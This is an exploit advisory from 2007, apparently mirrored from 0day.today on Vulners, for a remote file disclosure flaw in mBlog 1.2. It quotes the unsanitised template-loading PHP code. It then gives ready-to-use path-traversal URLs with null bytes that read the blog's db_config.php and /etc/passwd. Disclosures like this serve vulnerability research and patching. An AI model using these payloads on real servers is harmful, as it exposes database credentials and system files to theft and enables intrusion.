Lucene search
K

mBlog 1.2 (page) Remote File Disclosure Vulnerability

🗓️ 21 Dec 2007 00:00:00Reported by irk4zType 
zdt
 zdt
🔗 0day.today👁 13 Views

mBlog 1.2 Remote File Disclosure Vulnerability in load_tpl function in tpl.php and index.ph

Code
=====================================================
mBlog 1.2 (page) Remote File Disclosure Vulnerability
=====================================================



:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:                                                                             :
:  vuln.: mBlog 1.2 Remote File Disclosure Vulnerability                      :
:  no dork for s-kiddie [;                                                    :
:                                                                             :
:  greets to: str0ke, wacky, wszystkich polakA?w ;]                           :
:                                                                             :
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

# code:

  ./includes/tpl.php, 41-56:
    ...
41   // load_tpl
42   // loding a template file into a varible.
43   // use quick_tpl to display template
44  function load_tpl ($path)
45  {
46	  $tpl = '';
47	  global $tpl_block;
48
49	  if (substr ($path, -4) == '.tpl')
50	  {
51		  if (strpos (Cur_Url (), 'includes%2F') OR strpos (Cur_Url (), 'admin%2F') OR strpos (Cur_Url (), 'members%2F')) $path = '../'.$path;
52		  if (!file_exists ($path)) die ("<B>Template $path not found! Contact webmaster.</B>");
53		  $fp = fopen($path,'r');
54		  while(!feof($fp)) $tpl .= fgets($fp,4096);
55		  fclose ($fp);
56	  }
    ...

load_tpl() 'loading a template file into a varible.' ;]


  ./index.php, 24-30:
    ...
24   // proses cmd
25   switch ($mode)
26   {
27	  case 'page':
28	   $txt['main_body'] = quick_tpl (load_tpl ($config['skin']."/$page.tpl"), 0);
29	   flush_tpl ();
30	  break;
    ...
	
file disclosure in $page :*

# exploit:

(%69%6E%63%6C%75%64%65%73 = includes)
http://[host]/[path]/index.php?mode=page&page=../../%69%6E%63%6C%75%64%65%73/db_config.php%00
http://[host]/[path]/index.php?mode=page&page=../../../../../../../../etc/passwd%00



#  0day.today [2018-01-26]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1
13